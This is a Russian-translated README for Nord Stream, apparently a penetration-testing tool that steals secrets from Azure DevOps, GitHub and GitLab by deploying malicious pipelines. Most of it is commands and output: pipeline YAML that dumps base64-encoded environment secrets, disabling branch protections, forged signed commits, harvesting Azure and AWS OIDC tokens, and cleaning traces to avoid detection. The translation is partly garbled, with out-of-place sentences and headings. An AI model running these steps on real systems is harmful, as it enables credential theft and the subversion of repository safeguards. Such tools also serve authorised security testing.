
Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-средах, путём развёртывания вредоносных пайплайнов. В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.
Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-окружениях, путём развёртывания вредоносных пайплайнов.
В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.
Подробнее в следующем посте в блоге: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
Также требуется `git` (см. https://git-scm.com/download/), и он должен находиться в вашем `PATH`.
## Использование
Вот простой пример на GitHub; изначально можно перечислить различные секреты.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Затем переходите к эксфильтрации:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Общие аргументы
Некоторые аргументы являются общими для [GitHub](#github), [Azure DevOps](#azure-devops) и [GitLab](#gitlab); вот несколько примеров.
#### Описание токена
Опция `--describe-token` может использоваться для отображения общей информации о вашем токене:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
Параметр --build-yaml можно использовать для создания файла конвейера без его развертывания. Он получает различные имена секретов для сборки соответствующего конвейера, который можно использовать для добавления пользовательских шагов:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
Опция `--yaml` может использоваться для развертывания пользовательского конвейера:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
[Загрузите] файл вместо отправки необработанных текстовых данных в POST-запросе.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml
[+] "synacktiv/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch
[] Running custom workflow: .../custom.yml
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Workflow output:
2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here"
2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here"
2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0137261Z ##[endgroup]
2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
По умолчанию отображается вывод задачи `command` из задания `init`, но всё хранится локально, и к нему можно получить доступ вручную:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
По умолчанию Nord Stream пытается удалить следы, оставшиеся после развёртывания конвейера, в зависимости от ваших привилегий. Чтобы сохранить следы, можно использовать опцию --no-clean. Это сохранит логи конвейера, но изменения, внесённые в репозиторий, всё равно будут откачены.
Обратите внимание, что для GitLab некоторые следы удалить невозможно.
Администраторы репозитория могут включить обязательную подпись коммитов для ветки, чтобы блокировать все коммиты, которые не подписаны и не проверены. С помощью Nord Stream можно подписать коммит, чтобы обойти такую защиту.
Сначала создайте и импортируйте свой GPG-ключ на платформе SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
### Паттерны файлов токенов```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
ВВОД:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream может извлекать следующие типы секретов:
- Группы переменных (vg)
- Защищённые файлы (sf)
- Подключения служб
#### Подключения служб
Azure DevOps предоставляет возможность создавать подключения к внешним и удалённым службам для выполнения задач в задании. Для этого используются подключения служб. Подключение службы хранит учётные данные для идентификации в удалённой службе. В Azure DevOps существует несколько типов подключений служб.
Nord Stream в настоящее время поддерживает извлечение секретов для следующих типов подключений служб:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
Если вы столкнулись с неподдерживаемым типом, пожалуйста, откройте issue или создайте pull request :)
##### SSH
Извлечение для этого типа подключения служб было болезненным в реализации. Результат выглядит следующим образом:```
hostname:::port:::user:::password:::privatekey
Если вы хотите запустить его на self-hosted runner, вы можете сделать следующее:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
Затем вам нужно:
1) измените `vmImage: ubuntu-latest` на `name: 'Self-Hosted pool name'`
2) Добавьте имя служебного подключения в заполнитель `#FIXME`.
3) разверните конвейер с помощью: `--yaml test.yml`
Если вам нужно запустить это на self-hosted раннере Windows, в методе `generatePipelineForSSH` замените `_serviceConnectionTemplateSSH` на `_serviceConnectionTemplateSSHWindows` и выполните действия, описанные ранее.
Примечание: как для Windows, так и для Linux self-hosted раннеров необходимо адаптировать путь (`/home/vsts/work/_tasks/` или `D:\a\`) в соответствии с путём, по которому развёрнут раннер. Эту информацию можно получить на вкладке `Capabilities` агента в Azure DevOps.
#### Перечисление организаций
С помощью токена доступа можно перечислить организации, привязанные к пользователю:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
Это основано на этом исследовании.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### Список защит
Опция `--list-protections` может использоваться для вывода списка защит, применённых к ветке и к окружениям:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
Depending on your permissions, you can have less information, only administrators can have the full details of the protections.
The --disable-protections option can be used to temporarily disable the protections applied to a branch or an environment, realize the dump and restore all the protections:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
Для этого требуются права администратора.
#### Force
По умолчанию, если Nord Stream обнаруживает защиту на ветке или на окружении, он не выполняет извлечение секретов. Если вы считаете, что защиты слишком разрешительные или их можно обойти с вашими привилегиями, опцию `--force` можно использовать для развертывания пайплайна независимо от защит.
#### Azure OIDC
OIDC (OpenID Connect) можно использовать для подключения к облачным сервисам. Основная идея заключается в том, чтобы разрешить авторизованным пайплайнам или рабочим процессам получать кратковременные токены доступа напрямую от облачного провайдера, без использования статических секретов. Авторизация основывается на доверительных отношениях, настроенных на стороне облачного провайдера, и обусловлена происхождением пайплайна или рабочего процесса.
Вот пример рабочего процесса GitHub с использованием OIDC:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
Если вы встретите такой workflow, это означает, что репозиторий может быть настроен на получение кратковременного токена доступа, который даёт вам доступ к ресурсам Azure.
Nord Stream способен развернуть пайплайн для получения такого токена доступа со следующими параметрами:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Параметр `--azure-subscription-id` является необязательным и может использоваться для получения маркера доступа для конкретной подписки.
#### AWS OIDC
Тот же метод (см. [Azure OIDC](#azure-oidc)) можно использовать для получения токена сеанса в AWS.
Вот пример рабочего процесса с использованием AWS OIDC:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
Если вы столкнётесь с таким рабочим процессом, это означает, что репозиторий может быть настроен на получение токена доступа AWS, который может предоставить вам доступ к ресурсам AWS.
Nord Stream способен развернуть пайплайн для получения такого токена доступа со следующими параметрами:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### Помощь```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
Как описано в статье, после развертывания пайплайна нет способа удалить логи на вкладке активности. Это необходимо учитывать при проведении Red Team-операций.
Опцию --list-secrets можно использовать для вывода и извлечения секретов из GitLab.
Способ управления секретами в GitLab несколько отличается от Azure DevOps и GitHub Action. При наличии административного доступа к проекту, группе или даже административного доступа к самому экземпляру GitLab можно извлечь все определенные переменные CI/CD без развертывания какого-либо пайплайна.
Однако пользователь с низкими привилегиями не может перечислить секреты, определенные на уровне проекта, группы или экземпляра. Но если пользователи имеют права на запись в проекте, они смогут развернуть вредоносный пайплайн для эксфильтрации переменных окружения, раскрывающих переменные CI/CD. Это означает, что пользователь с низкими привилегиями не имеет возможности узнать, определен ли секрет в конкретном проекте. Единственный способ — посмотреть на легитимные пайплайны, уже присутствующие в проекте, и проверить, использует ли какой-либо пайплайн чувствительные переменные окружения.
Вот файл пайплайна для выполнения этой операции в GitLab:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLab также поддерживает secure files, как и Azure DevOps. Secure files определяются на уровне проекта. Как и переменные, невозможно перечислить secure files без административного доступа к проекту. Однако при наличии административного доступа nord-stream попытается экфильтровать secure files, связанные с проектами.
#### YAML
То же, что и [YAML](#yaml), однако вам нужно указать полный путь к проекту, например:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
Команда --list-projects возвращает такой путь.
То же, что и список защит GitHub
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] Добавить поддержку URL-адресов, соответствующих экземплярам Azure DevOps Server (локальные решения)
- [ ] Добавить возможность извлечения секретов через Windows-хосты
- [ ] Добавить поддержку других сред CI/CD (Jenkins/Bitbucket)
- [ ] Использовать GitHub GraphQL API вместо REST для получения списка правил защиты веток и временного их отключения, если они соответствуют вредоносной ветке, которую планируется отправить
## Контакты
Пожалуйста, отправляйте любые ошибки, проблемы, вопросы или запросы новых функций в раздел "Issues" или свяжитесь с нами в Twitter: [@hugow](https://twitter.com/hugow_vincent) и [@0hexit](https://twitter.com/0hexit).